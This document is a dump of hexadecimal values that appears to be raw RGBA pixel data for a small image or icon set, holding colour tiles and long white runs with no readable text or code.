DCFF3035DCFF3035DCFF3035DCFF3035DCFF3035DCFF3035DCFF3035DCFF3035
DCFF2F35DCFF2E32DCFF2E32E2FF545897FF46821FFF44A300FF45A100FF46A3
00FF46A301FF46A301FF47A402FF4CA806FF4BA805FF47A301FF46A301FF46A3
01FF45A300FF44A200FF44A500FF5C7E46FF473498FF3D19DBFF3D1AD8FF3E1B
D8FF3E1CD8FF3E1CD8FF3E1CD8FF3E1CD8FF3E1CD8FF3E1CD8FF3E1CD8FF3E1C
D8FF3E1BD8FF3D1AD8FF3D19DDFF5B4E91FF418622FF3AA708FF3CA60AFF3DA7
0BFF3EA70CFF3EA70CFF3EA70CFF3EA70CFF3EA70CFF3EA70CFF3EA70CFF3CA7
0CFF3DA70BFF3CA608FF3AA907FF5A8148FF3935A2FF2D27D9FF2F28D5FF3129
D7FF312BD6FF312AD6FF322AD6FF322AD6FF322AD6FF322AD6FF312AD6FF312B
D6FF3129D7FF2F29D5FF2E26DBFF555493FF7C9B66FFA0CC7AFF9ECA7AFF9FCA
7BFF9FCA7BFFA1CB7CFFA5CF83FF699747FF73A051FFAAD588FF9FCA7BFF9FCA
7BFF9FCA7BFF9ECA7AFFA2CF7BFF7C8C6EFFA3A1ACFFEFEBFFFFEAE7F9FFEBE8
F9FFEBE8FBFFEBE8FBFFEBE8FBFFEBE8FBFFEBE8FBFFEBE8FBFFEBE8FBFFEBE8
FBFFEBE8F9FFEAE7F9FFF1EDFFFF96969DFF3F7C23FF389E09FF3A9D0CFF3A9E
0EFF3C9E0EFF3B9E0FFF3B9E0FFF3B9E0FFF3B9E0FFF3B9E0FFF3B9E0FFF3C9E
0EFF3B9E0EFF389D0CFF38A009FF5A7B49FF382F9EFF2D1CD5FF301FD3FF3121
D2FF3121D2FF3021D2FF3021D2FF3021D2FF3021D2FF3021D2FF3021D2FF3121
D2FF3120D2FF2F1FD1FF2C1DD8FF55508FFFBFBDC2FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFF2F2B33FF3C373FFF332F37FF5F5C63FFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFA1A0A2FF64589EFF755BE7FF735AE2FF745B
E3FF745CE3FF745CE3FF745CE3FF745CE3FF745CE3FF745CE3FF745CE3FF745C
E3FF745BE3FF735AE2FF755AE9FF6D6494FF3F7B25FF379A0AFF38990DFF399A
0DFF3A9A0FFF3C9A10FF3C9A10FF3C9A10FF3C9A10FF3C9A10FF3C9A10FF3A9A
0FFF3A9A0EFF37990CFF379B09FF587949FF3A2C9EFF2C18D3FF2F1BD1FF301C
D1FF301DD1FF321ED1FF311ED1FF311ED1FF311ED1FF311ED1FF321ED1FF301D
D1FF311CD1FF2E1AD0FF2C18D6FF554E8DFFB9B9B9FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFF7F7F7FF000000FF171717FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF8981ACFFBBADFEFFB6A9F9FFB6AB
F9FFB7ABF9FFB8ABF6FFB8ABEFFFB8ABEFFFB8ABEFFFB8ABEFFFB8ABEFFFB8AB
EFFFB7AAEFFFB7AAF0FFBBAEF7FF848099FF407A24FF3C9F0CFF3A9A0DFF3A9A
0EFF3C9B10FF3C9B10FF3C9B10FF3C9B10FF3C9B10FF3C9B10FF3C9B10FF3B9B
0FFF3A9B0EFF389A0CFF379C09FF587A49FF372CA5FF2D1BE1FF2B1BDEFF2A1B
DCFF2C1CDCFF2B1CDCFF2B1CDCFF2B1CDCFF2B1CDCFF2B1CDCFF2B1CDCFF2C1C
DDFF2A1BDDFF2A19DDFF2717E2FF544E92FFB9B9B9FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF656565FFA6A6A6FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF887E71FFBAAB92FFB7AA91FFB9AA
92FFB5A88CFFB1A2A7FFAA9AF3FFAA9AEDFFAA9AEDFFAA9AEDFFAA9AEDFFAA9A
EDFFA99AEDFFA999EDFFAC9CF4FF7E7A98FF417B25FF40A00EFF419F11FF409E
11FF3B990FFF3A9A0FFF3B9A0FFF3B9B10FF3C9B10FF3C9B10FF3C9B10FF3B9B
0FFF3A9B0EFF389A0CFF379C09FF587A49FF743F20FF953D00FF963C00FF993B
00FF953800FF913500FF8E3800FF8E3800FF8E3900FF8E3900FF8E3900FF8E39
00FF8F3600FF8E3600FF903400FF755847FFBEC2C3FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF656C6EFFAEB5B7FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFA0A2A2FF4F3C29FF532F03FF4B2600FF4C28
00FF533003FF5F3F40FF8871F4FF846CE5FF846CE5FF846CE5FF846DE5FF846B
E5FF836BE6FF816AE4FF856BEBFF716995FF437B25FF43A40FFF43A212FF46A2
14FF47A215FF44A014FF3E9C11FF3B990EFF3A990FFF3A990FFF3A990FFF3999
0EFF389A0DFF36980BFF379C09FF587A49FF703F25FF913C0BFF7A5133FF4747
3DFF46473EFF6A5E4DFF8D360AFF85360EFF85350FFF85350FFF85350FFF8534
0EFF84330DFF83320BFF883209FF725849FF986659FFCC8168FFC98168FFC980
69FFC9826AFFC9826AFFCA836BFFC67C67FFCC836CFFCA826BFFC9826AFFC982
6AFFC98169FFC98067FFCE8168FF8A6E67FF54422DFF542F01FFBFB2A3FFB7A8
97FF533003FF83674FFFE8E4FFFFE0DAF9FFE0DAF9FFE0DAF9FFE0DAF9FFE0DA
F9FFE0DAF9FFE1DBF9FFE6E0FFFF93919CFF437C26FF47A610FF48A413FF49A4
16FF4AA317FF4AA417FF4AA417FF4BA417FF49A316FF47A215FF46A215FF46A2
15FF46A214FF46A312FF48A90FFF5A7A49FF713F26FF983A04FF4796A4FF46C6
E4FF42B1CAFF3AB8D6FF8F4216FF934516FF914416FF904215FF8F4115FF8F41
15FF8F4114FF904112FF94420FFF735849FF823520FFAD3007FFAA320AFFAC33
0CFFAC340DFFAC340EFFAC340EFFAD350FFFAC340EFFAC340EFFAC340EFFAC34
0DFFAC330CFFAA310AFFAF3106FF7C5147FF54422CFF74562EFFF9F7F6FFECE8
E3FF6B4C20FF5F3E47FF5F3EEDFF5D3EDFFF5D3EDFFF5D3DDFFF5D3DDFFF5D3D
DFFF5E3DDFFF5C3CDFFF5E3CE7FF615591FF437D25FF49A810FF4AA613FF4BA5
15FF4CA716FF4CA717FF4CA717FF4CA717FF4CA717FF4CA717FF4CA717FF4CA7
16FF4BA615FF4AA613FF49AA0FFF5A7A49FF724025FF993E06FF4C8388FF3897
AEFF398A9EFF3B9EB5FF954311FF944616FF944717FF944717FF944717FF9447
16FF934615FF934513FF95440FFF735849FF853923FFB1380BFFAF380EFFB03A
10FFB03A11FFB03A11FFB03A11FFB03A11FFB03A11FFB03A11FFB03A11FFB03A
11FFB03910FFAF380EFFB3380AFF7D5447FF54432CFF5D3903FF7D6039FF6847
1AFF5C3706FF8F754DFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFA4A59EFF438023FF49A90BFF49A60EFF4BA8
10FF4BA811FF4BA811FF4BA811FF4BA811FF4BA811FF4BA811FF4BA811FF4BA8
11FF4AA810FF49A60EFF4AAB0AFF597847FF714023FF95440BFF9A3D03FF983F
06FF7C5432FF9E3D00FF954610FF944611FF944611FF944611FF944611FF9446
11FF944510FF93430EFF97440AFF735747FF8A4230FFBC5433FFB95231FFB853
33FFB85333FFB85333FFB85333FFB85333FFB85333FFB85333FFB85333FFB853
33FFB85333FFB95231FFBC5232FF8B6055FF594835FF785B33FF70552CFF7356
31FF74592EFF6E5160FF5E3DEEFF5E3DE2FF5E3DE2FF5E3DE2FF5E3DE2FF5E3D
E2FF5D3CE2FF5D3BE1FF5F3DE6FF65599DFF4B852FFF63B433FF60B231FF61B2
33FF61B233FF61B233FF61B233FF61B233FF61B233FF61B233FF61B233FF61B2
33FF61B233FF60B231FF61B432FF658855FF77482FFFA45F33FFA15C31FFA25C
33FFA45C30FFA25D33FFA25D33FFA25D33FFA25D33FFA25D33FFA25D33FFA25D
33FFA25C33FFA15B31FFA45D32FF816455FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDADADAFFBFBFBFFFC0C0BFFFC0C0
C0FFC0C0C0FFBFBFBEFFBFBFBEFFBFBFBEFFBFBFBEFFBFBFBEFFC0C0C0FFC0C0
C0FFC0C0C0FFC0C0BFFFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFC0C0BFFFC0C0
C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0C0FFC0C0
C0FFC0C0C0FFC0C0BFFFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFC0C0C0FFC0C0
C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0
C0FFC0C0C0FFC0C0C0FFBFBFBFFFFFFFFFFFFFFFFFFFC4C4C4FFC6C6C5FFC6C6
C5FFC6C6C5FFC6C6C5FFC6C6C5FFC6C6C5FFC6C6C5FFC6C6C5FFC6C6C5FFC6C6
C5FFC6C6C5FFC6C6C5FFC3C3C3FFFFFFFFFF4636ACFF4329FBFF4329F6FF4429
F5FF4429F5FF4329F5FF4329F5FF4329F5FF4329F5FF4329F5FF4329F5FF4429
F5FF442AF5FF4329F6FF4429FCFF5C5495FF2C3CBEFF1C34FFFF1C34FFFF1B33
FFFF1C34FFFF1C34FFFF1C34FFFF1C34FFFF1C34FFFF1C34FFFF1C34FFFF1C34
FFFF1B33FFFF1A34FFFF1B33FFFF4C56A3FF3A3B97FF3331CAFF3330C7FF3331
C7FF3431C7FF3431C7FF3431C7FF3431C7FF3431C7FF3431C7FF3431C7FF3431
C7FF3330C7FF3230C7FF3331CCFF555589FF2E73C3FF229EFFFF2098FFFF2198
FFFF2098FFFF2198FFFF2098FFFF2098FFFF2098FFFF2198FFFF2098FFFF2198
FFFF2197FFFF2198FFFF23A1FFFF5075A1FF4535AFFF3D23EEFF3F25EAFF4026
EAFF4027EAFF4027EAFF4025EAFF4023EAFF4024EAFF4026EAFF4027EAFF4027
EAFF4026EAFF3E25EAFF3E23F1FF5B5298FF3138B4FF222AEAFF222AE8FF232B
E8FF232DE8FF232DE8FF232CE8FF232CE8FF232CE8FF232CE8FF232DE8FF232D
E8FF242BE8FF222BE8FF2229EDFF4D529FFF3B388CFF3029ADFF312CABFF322D
ACFF322DACFF322DACFF322DACFF312DACFF312DACFF322DACFF322DACFF322D
ACFF322DACFF312BABFF2F29AFFF545285FF3663B8FF2B74FFFF2C72FCFF2B73
FCFF2D73FCFF2972FAFF3A78FFFF3978FFFF417CFFFF2671F5FF2E73FDFF2B73
FCFF2B73FCFF2A72FCFF2D77FFFF556F9CFF4030ADFF391FECFF3B21E8FF3B23
E8FF3D22E8FF3D1DE7FF3B29EAFF3942EBFF393BEBFF3C21E8FF3D20E8FF3B23
E8FF3C21E8FF3B21E8FF381EEFFF5A5097FF3332B0FF2321E9FF2522E5FF2725
E7FF2724E7FF2724E7FF2523E4FF211DDDFF2320E0FF2725E6FF2724E7FF2724
E7FF2625E7FF2522E5FF2420ECFF51519AFF383380FF2D249DFF2E279CFF3127
9DFF31299DFF31299DFF30299DFF32299DFF32299DFF30299DFF31299DFF3129
9DFF2F289DFF2F259CFF2D249FFF55517DFFC8C4B9FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFBFFB8E797FFE0F8C2FF7ACC59FFFFFFF6FFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFA3A19CFF3F2DACFF361BEDFF381CE9FF391E
E8FF391CE9FF3546ECFF2AA3F3FF2D8CF2FF2BA1F4FF2E83F1FF3825E9FF381D
E8FF391FE9FF381CE9FF361AEFFF584F96FF603D26FF6F340DFF70350FFF7136
11FF703711FF6C310BFF753C18FFAE8E72FF976C4EFF652600FF703711FF7037
11FF6F3610FF70350FFF70340CFF6B574CFF352D73FF261A8EFF291D8DFF291E
8EFF2B1F8EFF2B1F8EFF2B1F8EFF2A1F8EFF2A1F8EFF2B1F8EFF2B1F8EFF2B1F
8EFF2A1E8EFF271C8DFF251A90FF524E75FFB6B7B7FFFFFFFFFFFEFFFFFFFFFF
FFFFCCE6C0FFC8E3B9FFEFF7ECFF138D00FF8BC76FFFFFFFFFFFF2F9EEFFA6D3
91FFFFFFFFFFFEFFFFFFFFFFFFFF9A9A9AFF3F2CABFF3418EDFF351CE9FF361A
E8FF3629EAFF29A3F3FF353AECFF28A7F4FF2F61EEFF2C82F1FF2E70F0FF3818
E9FF361CE8FF361AE9FF3418EFFF584E96FF603A23FF6E2F07FF6D300AFF6E31
0DFF6C2E08FF804826FFFFFFFFFFFFFFFFFFFFFFFFFFCDB6A9FF652400FF6F32
0CFF6E310BFF6D300BFF6F2E06FF6A5648FF4E487EFF5047A1FF5148A0FF5249
9FFF5349A1FF5349A1FF5349A1FF5349A1FF5349A1FF5349A1FF5349A1FF5349
9FFF5249A0FF51469EFF5146A2FF605D7AFFB7B7B7FFFFFFFFFFFFFFFFFFFFFF
FFFF97CA75FF6AB43DFF44A108FF67B236FF409E03FF2D9600FF71B847FFECF5
E7FFFFFFFFFFFFFFFFFFFFFFFFFF9A9A9AFF3F2CACFF3A1DECFF371CE8FF3818
E8FF3250EDFF2B89F2FF3158EDFF24CBF6FF2C85F1FF3347ECFF28A5F4FF3726
EAFF371BE8FF361BE9FF3418EFFF584E96FF603B24FF72340CFF6E320DFF6E32
0EFF672702FFD1BEB2FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF713612FF6D31
0CFF6E320EFF6D310CFF6F2F09FF6A5649FFC4C4BEFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFA3A4A1FFB7B7B7FFFFFFFFFFFFFFFFFFFFFF
FFFFDCEDD2FF82BF59FF50A71BFF45A20CFF4CA513FF69B43AFF88C363FFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9A9A9AFF3F2FACFF3D20EEFF3E23EAFF3D1D
E9FF324FEEFF2B81F0FF27B2F5FF343DECFF3060EEFF2A96F2FF2A99F2FF371F
E8FF371BE8FF361BE9FF3418EFFF584E96FF613D25FF75380EFF743911FF7338
11FF652701FFCEBAAFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF703511FF6D31
0CFF6E320EFF6D310CFF6F2E09FF6A5649FFC4C4BFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFA3A4A1FFB7B7B7FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFB7DAA2FF48A411FF5DAD2BFF429F08FF42A008FF98CB79FFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9A9A9AFF402FACFF4022EFFF4226EBFF4326
EAFF4236ECFF31A7F4FF345CEEFF2B88F2FF2E63EEFF2992F2FF2F62EFFF3716
E9FF351BE8FF3419E8FF3418EFFF584E96FF633F25FF783B0FFF783D12FF783E
14FF773C11FF844D27FFFFFFFFFFFFFFFFFFFFFFFFFFC6ADA0FF652400FF6D31
0EFF6C300DFF6B2F0AFF6E2F09FF6B5649FF4C457CFF5146A3FF5346A1FF5348
A3FF5548A2FF5247A3FF4E429FFF493F9BFF483E9CFF493E9CFF493E9CFF493E
9AFF483E9BFF463C99FF483D9EFF5F5B7AFFB7B7B7FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFC8E3B8FF65B234FF59AC28FF68B33CFF92C76FFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9A9A9AFF4030ACFF4426EFFF4528EAFF462A
EAFF4728EBFF4447ECFF38A4F5FF3A9EF4FF35AEF5FF3A77F1FF422CEAFF4325
EAFF4327EBFF4326E9FF4526F2FF584F96FF673F20FF834100FF834201FF8343
03FF824404FF803F00FF834506FFB58D5EFF9E6C38FF733100FF804002FF8041
03FF803F02FF814101FF864100FF6E5847FF383072FF352896FF362994FF392B
95FF382C95FF392C95FF392D96FF3A2E96FF392B95FF362A94FF342892FF3528
92FF352992FF362894FF372899FF544F75FFB9B8B7FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFCEE8BCFF4DA807FF45A400FFAED891FFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9B9B9AFF4130ADFF4627F0FF4729ECFF482B
ECFF492CECFF4927EBFF4731ECFF4644EDFF463AECFF4A25EBFF492AECFF492C
ECFF482BECFF4729ECFF4626F3FF584F96FF3A2FA9FF3924EAFF3A27E7FF3C2A
E7FF3D29E7FF3D29E7FF3B27E5FF3824DEFF3A26E1FF3D29E7FF3D2AE7FF3D2A
E7FF3C29E7FF3A26E6FF3A25EDFF544E94FF3B3475FF3C2D9BFF3D2F99FF3E31
9AFF3F329AFF3F329AFF3F329AFF3F329AFF3F329AFF3F329AFF3F329AFF3F32
9AFF3E319AFF3C2F99FF3C2D9CFF555075FFC2C1B7FFFFFFFFFFFFFFFEFFFFFF
FEFFFFFFFEFFFFFFFFFFFFFFFFFF97D255FFFFFFFFFFFFFFFFFFFFFFFEFFFFFF
FEFFFFFFFEFFFFFFFEFFFFFFFFFFA19E9AFF412FADFF4624F0FF4627ECFF4827
ECFF4828ECFF4828ECFF4827ECFF4826ECFF4826ECFF4828ECFF4828ECFF4828
ECFF4727ECFF4625ECFF4624F3FF574E96FF3D2F9EFF3F24DBFF3F26D7FF4027
D7FF4028D7FF4028D7FF4028D7FF4028D7FF4028D7FF4028D7FF4028D7FF4028
D7FF4027D7FF3F25D7FF4023DEFF554E8DFF3A3374FF3C2C9BFF3C2C9BFF3D2F
9AFF3D2E9AFF3D309CFF3D309CFF3D309CFF3D309CFF3D309CFF3D309CFF3D2E
9AFF3D2F9AFF3C2D99FF3B2B9DFF555074FF2638B3FF213FFFFF1E3CFAFF1F3D
FAFF213DFAFF213DFAFF213DFBFF3046FFFF2541FFFF213DFAFF213DFAFF213D
FAFF203DFAFF1E3CFAFF2140FFFF4B5495FF493AB1FF6147F4FF5D43F0FF5E45
F0FF5E44F0FF5E46F0FF5E46F0FF5E46F0FF5E46F0FF5E46F0FF5E46F0FF5E44
F0FF5E45F0FF5D44F0FF6045F5FF645BA4FF453AA5FF5B47E0FF5843DDFF5845
DDFF5944DDFF5946DDFF5946DDFF5946DDFF5946DDFF5946DDFF5946DDFF5944
DDFF5845DDFF5744DDFF5945E1FF615B9CFF443C7AFF574BA9FF5549A7FF564A
A7FF564AA7FF5649A7FF5649A7FF5649A7FF5649A7FF5649A7FF5649A7FF564A
A7FF564AA7FF5549A7FF564AA9FF615D83FF3F4EC0FF5F75FFFF5A6EFFFF5B70
FFFF5B6FFFFF5B6FFFFF5B6FFFFF5B6FFFFF5B6FFFFF5B6FFFFF5B6FFFFF5B6F
FFFF5970FFFF5A6FFFFF5D73FFFF5F68A9FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDADADAFFBFBFBFFFC0C0C0FFC0C0
C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0C0FFC0C0
C0FFC0C0C0FFC0C0C0FFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFBFC0C0FFC0C0
C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0
C0FFC0C0C0FFC0C0C0FFBFBFBFFFFFFFFFFFFFFFFFFFC4C4C4FFC6C6C6FFC6C6
C6FFC5C5C5FFC5C5C5FFC5C5C5FFC5C5C5FFC5C5C5FFC5C5C5FFC5C5C5FFC5C5
C5FFC6C6C6FFC6C6C6FFC3C3C3FFFFFFFFFFDADADAFFBFBFBFFFC0C0BFFFC0C0
C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0C0FFC0C0
C0FFC0C0C0FFC0C0BFFFBFBFBFFFFFFFFFFF2F781EFF1A9D01FF1B9902FF1C99
03FF1B9902FF1C9A02FF1C9A02FF1C9A02FF1C9A02FF1C9A02FF1C9A02FF1B99
02FF1C9903FF1B9A02FF1B9D00FF507947FF6E4624FF904605FF8A3F00FF893E
00FF8D4405FF8F4709FF8E4506FF8B4000FF8B4000FF8E4506FF8F4709FF8D44
05FF893E00FF8A3E00FF924505FF735D4AFFAEAEAEFFA6A6A6FF949494FFDDDD
DDFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFD9D9D9FF8E8E8EFF979797FFA1A1A1FF302F40FF3A28CEFF3E29E9FF3D29
DCFF3E29DCFF3E29DCFF3E29DCFF3E29DCFF3E29DCFF3E29DCFF3E29DCFF3E29
DCFF3D2ADCFF3C29DCFF3D29E2FF5A548DFF2C7122FF158606FF178708FF1887
09FF19870AFF178608FF178608FF168702FF188805FF168507FF19870AFF1987
0AFF188709FF178608FF158806FF4D7546FF907862FFCFAF96FFF8F5F1FFFFFF
FFFFD9C4B0FFB9906CFFD2B8A3FFFCFCFAFFFCFCFAFFD2B8A3FFB9906CFFD9C4
B0FFFFFFFFFFF8F4F1FFD0B197FF86786DFF4E4E4EFFC4C4C4FF888888FF9D9D
9DFFFFFFFFFFFFFFFFFFFFFFFFFFFAF8F6FFFDFEFDFFFFFFFFFFFFFFFFFFFFFF
FFFF6C6C6CFF909090FFE8E8E8FF6A6A6AFF2A2B28FF101102FF271E73FF3D27
E6FF3A27D6FF3A27D3FF3A27D3FF3A27D3FF3A27D3FF3A27D3FF3A27D3FF3A27
D2FF3926D2FF3825D2FF3723D8FF585290FF22641FFF057300FF067100FF0973
01FF077201FF217B1AFF158005FF326E65FF136C29FF2D8322FF067200FF0973
02FF077301FF077200FF057400FF486E46FF96806DFFB4855CFF8C480FFF8D47
0FFFA36B3FFFC7A58AFFAB784EFF8D480FFF8D480FFFAB784EFFC7A58AFFA36B
3FFF8D470FFF8C480EFFB6875CFF8B7D74FF6E6E6EFF787878FF383838FFFFFF
FFFFFFFFFFFFD9C6BAFF854619FF814011FF803E0EFF8D5227FFEBE4DEFFFFFF
FFFFFFFFFFFF808080FF595959FF7C7C7CFF282828FF10100FFF0F1005FF1614
23FF3321C2FF3923DEFF3521D2FF3522D2FF3522D2FF3521D2FF3521D2FF3421
D2FF3420D2FF321FD0FF321CD7FF57508FFF739767FF8EC67CFF8DC47BFF8EC3
7CFF8EC57CFF8FC879FF6B8B92FF6E68E9FF353CC4FF9CC38EFF8DC57BFF8EC5
7CFF8EC37CFF8DC47BFF8FC87CFF758A70FFA5988EFFF2E9E2FFF5F1ECFFECE3
DBFFF9F7F5FFDAC5B4FFF4EFEBFFF2E9E3FFF2E9E3FFF4EFEBFFDAC5B4FFF9F7
F5FFECE3DBFFF5F1EDFFF5ECE3FF918A83FF757575FF1B1B1BFFFFFFFFFFFFFF
FFFFD2BCADFF6B2300FF824312FF834515FF834515FF804110FF691F00FFEEE7
